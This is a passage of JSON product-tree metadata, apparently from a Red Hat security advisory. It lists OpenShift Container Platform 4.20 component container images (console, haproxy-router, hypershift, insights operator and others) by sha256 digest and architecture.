"name": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
